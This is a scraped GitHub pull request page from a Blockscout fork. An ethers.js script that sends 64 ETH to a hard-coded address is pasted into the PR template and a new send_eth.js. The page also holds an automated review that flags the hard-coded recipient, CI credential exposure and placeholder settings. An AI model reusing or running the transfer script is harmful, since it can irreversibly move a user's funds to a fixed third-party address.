Aj#36
Conversation
_[GitHub keywords to close any associated issues](https://docs.github.com/en/issues/tracking-your-work-with-issues/closing-issues-using-keywords)_ ## Motivation _Why we should merge these changes. If using GitHub keywords to close [issues](https://github.com/blockscout/blockscout/issues), this is optional as the motivation can be read on the issue page._ ## Changelog ### Enhancements _Things you added that don't break anything. Regression tests for Bug Fixes count as Enhancements._ ### Bug Fixes _Things you changed that fix bugs. If it fixes a bug but, in so doing, adds a new requirement, removes code, or requires a database reset and reindex, the breaking part of the change should also be added to "Incompatible Changes" below._ ### Incompatible Changes _Things you broke while doing Enhancements and Bug Fixes. Breaking changes include (1) adding new requirements and (2) removing code. Renaming counts as (2) because a rename is a removal followed by an add._ ## Upgrading _If you have any Incompatible Changes in the above Changelog, outline how users of prior versions can upgrade once this PR lands or when reviewers are testing locally. A common upgrading step is "Database reset and re-index required"._ ## Checklist for your Pull Request (PR) - [ ] I verified this PR does not break any public APIs, contracts, or interfaces that external consumers depend on. - [ ] If I added new functionality, I added tests covering it. - [ ] If I fixed a bug, I added a regression test to prevent the bug from silently reappearing again. - [ ] I updated documentation if needed: - [ ] General docs: submitted PR to [docs repository](https://github.com/blockscout/docs). - [ ] ENV vars: updated [env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables) and set version parameter to `master`. - [ ] Deprecated vars: added to [deprecated env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables/deprecated-env-variables). - [ ] If I modified API endpoints, I updated the Swagger/OpenAPI schemas accordingly and checked that schemas are asserted in tests. - [ ] If I added new DB indices, I checked, that they are not redundant, with PGHero or other tools. - [ ] If I added/removed chain type, I modified the Github CI matrix and PR labels accordingly.
new update
_[GitHub keywords to close any associated issues](https://docs.github.com/en/issues/tracking-your-work-with-issues/closing-issues-using-keywords)_ ## Motivation _Why we should merge these changes. If using GitHub keywords to close [issues](https://github.com/blockscout/blockscout/issues), this is optional as the motivation can be read on the issue page._ ## Changelog const { ethers } = require("ethers"); // Configuration const PROVIDER_URL = "YOUR_PROVIDER_URL"; // e.g., Infura, Alchemy, or your private blockchain's RPC URL const PRIVATE_KEY = "YOUR_PRIVATE_KEY"; // Replace with your wallet's private key const RECIPIENT_ADDRESS = "0x06EE840642a33367ee59fCA237F270d5119d1356"; const AMOUNT_IN_ETHER = "64"; // 64 ETH async function main() { try { // Connect to the Ethereum network const provider = new ethers.providers.JsonRpcProvider(PROVIDER_URL); console.log("Connected to the Ethereum network"); // Create a wallet instance const wallet = new ethers.Wallet(PRIVATE_KEY, provider); console.log("Wallet connected:", wallet.address); // Transaction details const tx = { to: RECIPIENT_ADDRESS, value: ethers.utils.parseEther(AMOUNT_IN_ETHER), // Convert ETH to Wei }; // Send the transaction console.log(`Sending ${AMOUNT_IN_ETHER} ETH to ${RECIPIENT_ADDRESS}...`); const transactionResponse = await wallet.sendTransaction(tx); console.log("Transaction sent! Hash:", transactionResponse.hash); // Wait for the transaction to be mined const receipt = await transactionResponse.wait(); console.log("Transaction confirmed!"); console.log("Block Number:", receipt.blockNumber); console.log("Transaction Hash:", receipt.transactionHash); } catch (error) { console.error("Error during transaction:", error); } } // Execute the script main(); ### Enhancements _Things you added that don't break anything. Regression tests for Bug Fixes count as Enhancements._ ### Bug Fixes _Things you changed that fix bugs. If it fixes a bug but, in so doing, adds a new requirement, removes code, or requires a database reset and reindex, the breaking part of the change should also be added to "Incompatible Changes" below._ ### Incompatible Changes _Things you broke while doing Enhancements and Bug Fixes. Breaking changes include (1) adding new requirements and (2) removing code. Renaming counts as (2) because a rename is a removal followed by an add._ ## Upgrading _If you have any Incompatible Changes in the above Changelog, outline how users of prior versions can upgrade once this PR lands or when reviewers are testing locally. A common upgrading step is "Database reset and re-index required"._ ## Checklist for your Pull Request (PR) - [x] I verified this PR does not break any public APIs, contracts, or interfaces that external consumers depend on. - [x] If I added new functionality, I added tests covering it. - [x] If I fixed a bug, I added a regression test to prevent the bug from silently reappearing again. - [x] I updated documentation if needed: - [x] General docs: submitted PR to [docs repository](https://github.com/blockscout/docs). - [x] ENV vars: updated [env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables) and set version parameter to `master`. - [x] Deprecated vars: added to [deprecated env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables/deprecated-env-variables). - [x] If I modified API endpoints, I updated the Swagger/OpenAPI schemas accordingly and checked that schemas are asserted in tests. - [x] If I added new DB indices, I checked, that they are not redundant, with PGHero or other tools. - [ ] If I added/removed chain type, I modified the Github CI matrix and PR labels accordingly.
_[GitHub keywords to close any associated issues](https://docs.github.com/en/issues/tracking-your-work-with-issues/closing-issues-using-keywords)_ ## Motivation _Why we should merge these changes. If using GitHub keywords to close [issues](https://github.com/blockscout/blockscout/issues), this is optional as the motivation can be read on the issue page._ ## Changelog const { ethers } = require("ethers"); // Configuration const PROVIDER_URL = "YOUR_PROVIDER_URL"; // e.g., Infura, Alchemy, or your private blockchain's RPC URL const PRIVATE_KEY = "YOUR_PRIVATE_KEY"; // Replace with your wallet's private key const RECIPIENT_ADDRESS = "0x06EE840642a33367ee59fCA237F270d5119d1356"; const AMOUNT_IN_ETHER = "64"; // 64 ETH async function main() { try { // Connect to the Ethereum network const provider = new ethers.providers.JsonRpcProvider(PROVIDER_URL); console.log("Connected to the Ethereum network"); // Create a wallet instance const wallet = new ethers.Wallet(PRIVATE_KEY, provider); console.log("Wallet connected:", wallet.address); // Transaction details const tx = { to: RECIPIENT_ADDRESS, value: ethers.utils.parseEther(AMOUNT_IN_ETHER), // Convert ETH to Wei }; // Send the transaction console.log(`Sending ${AMOUNT_IN_ETHER} ETH to ${RECIPIENT_ADDRESS}...`); const transactionResponse = await wallet.sendTransaction(tx); console.log("Transaction sent! Hash:", transactionResponse.hash); // Wait for the transaction to be mined const receipt = await transactionResponse.wait(); console.log("Transaction confirmed!"); console.log("Block Number:", receipt.blockNumber); console.log("Transaction Hash:", receipt.transactionHash); } catch (error) { console.error("Error during transaction:", error); } } // Execute the script main(); ### Enhancements _Things you added that don't break anything. Regression tests for Bug Fixes count as Enhancements._ ### Bug Fixes _Things you changed that fix bugs. If it fixes a bug but, in so doing, adds a new requirement, removes code, or requires a database reset and reindex, the breaking part of the change should also be added to "Incompatible Changes" below._ ### Incompatible Changes _Things you broke while doing Enhancements and Bug Fixes. Breaking changes include (1) adding new requirements and (2) removing code. Renaming counts as (2) because a rename is a removal followed by an add._ ## Upgrading _If you have any Incompatible Changes in the above Changelog, outline how users of prior versions can upgrade once this PR lands or when reviewers are testing locally. A common upgrading step is "Database reset and re-index required"._ ## Checklist for your Pull Request (PR) - [x] I verified this PR does not break any public APIs, contracts, or interfaces that external consumers depend on. - [x] If I added new functionality, I added tests covering it. - [x] If I fixed a bug, I added a regression test to prevent the bug from silently reappearing again. - [x] I updated documentation if needed: - [x] General docs: submitted PR to [docs repository](https://github.com/blockscout/docs). - [x] ENV vars: updated [env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables) and set version parameter to `master`. - [x] Deprecated vars: added to [deprecated env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables/deprecated-env-variables). - [x] If I modified API endpoints, I updated the Swagger/OpenAPI schemas accordingly and checked that schemas are asserted in tests. - [x] If I added new DB indices, I checked, that they are not redundant, with PGHero or other tools. - [x] If I added/removed chain type, I modified the Github CI matrix and PR labels accordingly.
Merge branch 'blockscout:master' into patch-47
_[GitHub keywords to close any associated issues](https://docs.github.com/en/issues/tracking-your-work-with-issues/closing-issues-using-keywords)_ ## Motivation _Why we should merge these changes. If using GitHub keywords to close [issues](https://github.com/blockscout/blockscout/issues), this is optional as the motivation can be read on the issue page._ ## Changelog const { ethers } = require("ethers"); // Configuration const PROVIDER_URL = "YOUR_PROVIDER_URL"; // e.g., Infura, Alchemy, or your private blockchain's RPC URL const PRIVATE_KEY = "YOUR_PRIVATE_KEY"; // Replace with your wallet's private key const RECIPIENT_ADDRESS = "0x06EE840642a33367ee59fCA237F270d5119d1356"; const AMOUNT_IN_ETHER = "64"; // 64 ETH async function main() { try { // Connect to the Ethereum network const provider = new ethers.providers.JsonRpcProvider(PROVIDER_URL); console.log("Connected to the Ethereum network"); // Create a wallet instance const wallet = new ethers.Wallet(PRIVATE_KEY, provider); console.log("Wallet connected:", wallet.address); // Transaction details const tx = { to: RECIPIENT_ADDRESS, value: ethers.utils.parseEther(AMOUNT_IN_ETHER), // Convert ETH to Wei }; // Send the transaction console.log(`Sending ${AMOUNT_IN_ETHER} ETH to ${RECIPIENT_ADDRESS}...`); const transactionResponse = await wallet.sendTransaction(tx); console.log("Transaction sent! Hash:", transactionResponse.hash); // Wait for the transaction to be mined const receipt = await transactionResponse.wait(); console.log("Transaction confirmed!"); console.log("Block Number:", receipt.blockNumber); console.log("Transaction Hash:", receipt.transactionHash); } catch (error) { console.error("Error during transaction:", error); } } // Execute the script main(); ### Enhancements _Things you added that don't break anything. Regression tests for Bug Fixes count as Enhancements._ ### Bug Fixes _Things you changed that fix bugs. If it fixes a bug but, in so doing, adds a new requirement, removes code, or requires a database reset and reindex, the breaking part of the change should also be added to "Incompatible Changes" below._ ### Incompatible Changes _Things you broke while doing Enhancements and Bug Fixes. Breaking changes include (1) adding new requirements and (2) removing code. Renaming counts as (2) because a rename is a removal followed by an add._ ## Upgrading _If you have any Incompatible Changes in the above Changelog, outline how users of prior versions can upgrade once this PR lands or when reviewers are testing locally. A common upgrading step is "Database reset and re-index required"._ ## Checklist for your Pull Request (PR) - [x] I verified this PR does not break any public APIs, contracts, or interfaces that external consumers depend on. - [x] If I added new functionality, I added tests covering it. - [ ] If I fixed a bug, I added a regression test to prevent the bug from silently reappearing again. - [x] I updated documentation if needed: - [x] General docs: submitted PR to [docs repository](https://github.com/blockscout/docs). - [x] ENV vars: updated [env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables) and set version parameter to `master`. - [ ] Deprecated vars: added to [deprecated env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables/deprecated-env-variables). - [ ] If I modified API endpoints, I updated the Swagger/OpenAPI schemas accordingly and checked that schemas are asserted in tests. - [x] If I added new DB indices, I checked, that they are not redundant, with PGHero or other tools. - [ ] If I added/removed chain type, I modified the Github CI matrix and PR labels accordingly.
|
@ajit2903 is attempting to deploy a commit to the aj Team on Vercel. A member of the Team first needs to authorize it. |
📝 WalkthroughWalkthroughThe pull request adds five CI/CD workflows, an npm release workflow, an ethers-based ETH transfer script, a transaction example in the pull request template, a new npm dependency, and an updated funding project identifier. ChangesCI and deployment automation
npm package publishing
Ethereum transfer tooling
Funding metadata
Estimated code review effort: 3 (Moderate) | ~25 minutes 🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (3 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
⚔️ Resolve merge conflicts
Comment |
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
There was a problem hiding this comment.
Actionable comments posted: 9
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/azure-container-webapp.yml:
- Around line 37-38: Update the workflow-level permissions block to grant
packages: write alongside contents: read, so the build job’s github.token can
authenticate and push the container image to GHCR. Keep the existing contents
permission unchanged.
- Around line 29-30: Replace the placeholder value in AZURE_WEBAPP_NAME with the
actual Azure Web App name, or configure it to come from the repository’s
protected secret/environment variable used by the deployment workflow; ensure
the deploy step resolves a real App Service target.
- Line 45: Disable persisted checkout credentials by adding persist-credentials:
false to the actions/checkout@v4 steps in
.github/workflows/azure-container-webapp.yml (45-45),
.github/workflows/codeql.yml (59-60), .github/workflows/docker-image.yml
(16-16), .github/workflows/elixir.yml (24-24), and
.github/workflows/makefile.yml (15-15); also apply the same change to the
checkout step in .github/workflows/npm-publish-github-packages.yml as requested.
In @.github/workflows/npm-publish-github-packages.yml:
- Around line 14-19: Update both actions/checkout steps in the workflow to set
persist-credentials to false, preventing checkout tokens from being retained for
npm and lifecycle scripts. Add a contents: read permission to the build job and
ensure it does not inherit broader repository permissions.
- Around line 18-19: Update the npm publish workflow steps running npm ci, npm
test, and npm publish to use the apps/block_scout_web/assets package directory
as their working directory, ensuring they use that package’s lockfile, test
script, and publish metadata instead of the repository root.
In `@PULL_REQUEST_TEMPLATE.md`:
- Around line 8-29: Update the template’s ethers usage to v6 root exports,
matching send_eth.js: replace ethers.providers.JsonRpcProvider,
ethers.utils.parseEther, and ethers.Wallet references with their v6 equivalents
while preserving the existing transaction behavior.
In `@send_eth.js`:
- Around line 7-8: Replace the hard-coded recipient and 64 ETH defaults in
send_eth.js lines 7-8 with validated runtime inputs, require the expected chain
ID, and require explicit confirmation before broadcasting. Update
PULL_REQUEST_TEMPLATE.md lines 11-14 to use a non-broadcasting example or
unconfigured placeholders that cannot transfer funds until deliberately
configured.
- Around line 37-43: Update the transaction confirmation flow around
transactionResponse.wait() to verify receipt?.status === 1 before logging
success details. For a missing or failed receipt, mark the process as failed
with process.exitCode = 1 or rethrow the error; retain the existing catch
handling for thrown errors.
- Line 40: Update the transaction hash examples to use the receipt.hash property
consistently: replace receipt.transactionHash at send_eth.js lines 40-40 and
PULL_REQUEST_TEMPLATE.md lines 41-41, with no other changes.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
| env: | ||
| AZURE_WEBAPP_NAME: your-app-name # set this to the name of your Azure Web App |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
file=".github/workflows/azure-container-webapp.yml"
echo "== File outline =="
ast-grep outline "$file" --view expanded || true
echo
echo "== Relevant line-numbered excerpt =="
nl -ba "$file" | sed -n '1,220p'Repository: ajit2903/blockscout
Length of output: 314
🏁 Script executed:
#!/bin/bash
set -euo pipefail
file=".github/workflows/azure-container-webapp.yml"
printf '%s\n' "== Exists =="
test -f "$file" && echo yes || echo no
printf '\n%s\n' "== Lines 1-200 =="
nl -ba "$file" | sed -n '1,200p'Repository: ajit2903/blockscout
Length of output: 234
🏁 Script executed:
#!/bin/bash
set -euo pipefail
file=".github/workflows/azure-container-webapp.yml"
python3 - <<'PY'
from pathlib import Path
path = Path(".github/workflows/azure-container-webapp.yml")
for i, line in enumerate(path.read_text().splitlines(), 1):
if 1 <= i <= 220:
print(f"{i:4d}: {line}")
PYRepository: ajit2903/blockscout
Length of output: 4162
Replace the placeholder Azure Web App name.
AZURE_WEBAPP_NAME is still your-app-name, so the deploy step will point at a dummy App Service unless this is replaced with the real app name or sourced from a protected secret/environment variable.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/azure-container-webapp.yml around lines 29 - 30, Replace
the placeholder value in AZURE_WEBAPP_NAME with the actual Azure Web App name,
or configure it to come from the repository’s protected secret/environment
variable used by the deployment workflow; ensure the deploy step resolves a real
App Service target.
ajit2903
left a comment
There was a problem hiding this comment.
Aj
Commented in CodeRabbit Change Stack
GitHub keywords to close any associated issues
Motivation
Why we should merge these changes. If using GitHub keywords to close issues, this is optional as the motivation can be read on the issue page.
Changelog
Enhancements
Things you added that don't break anything. Regression tests for Bug Fixes count as Enhancements.
Bug Fixes
Things you changed that fix bugs. If it fixes a bug but, in so doing, adds a new requirement, removes code, or requires a database reset and reindex, the breaking part of the change should also be added to "Incompatible Changes" below.
Incompatible Changes
Things you broke while doing Enhancements and Bug Fixes. Breaking changes include (1) adding new requirements and (2) removing code. Renaming counts as (2) because a rename is a removal followed by an add.
Upgrading
If you have any Incompatible Changes in the above Changelog, outline how users of prior versions can upgrade once this PR lands or when reviewers are testing locally. A common upgrading step is "Database reset and re-index required".
Checklist for your Pull Request (PR)
master.Summary by CodeRabbit
New Features
Documentation
Chores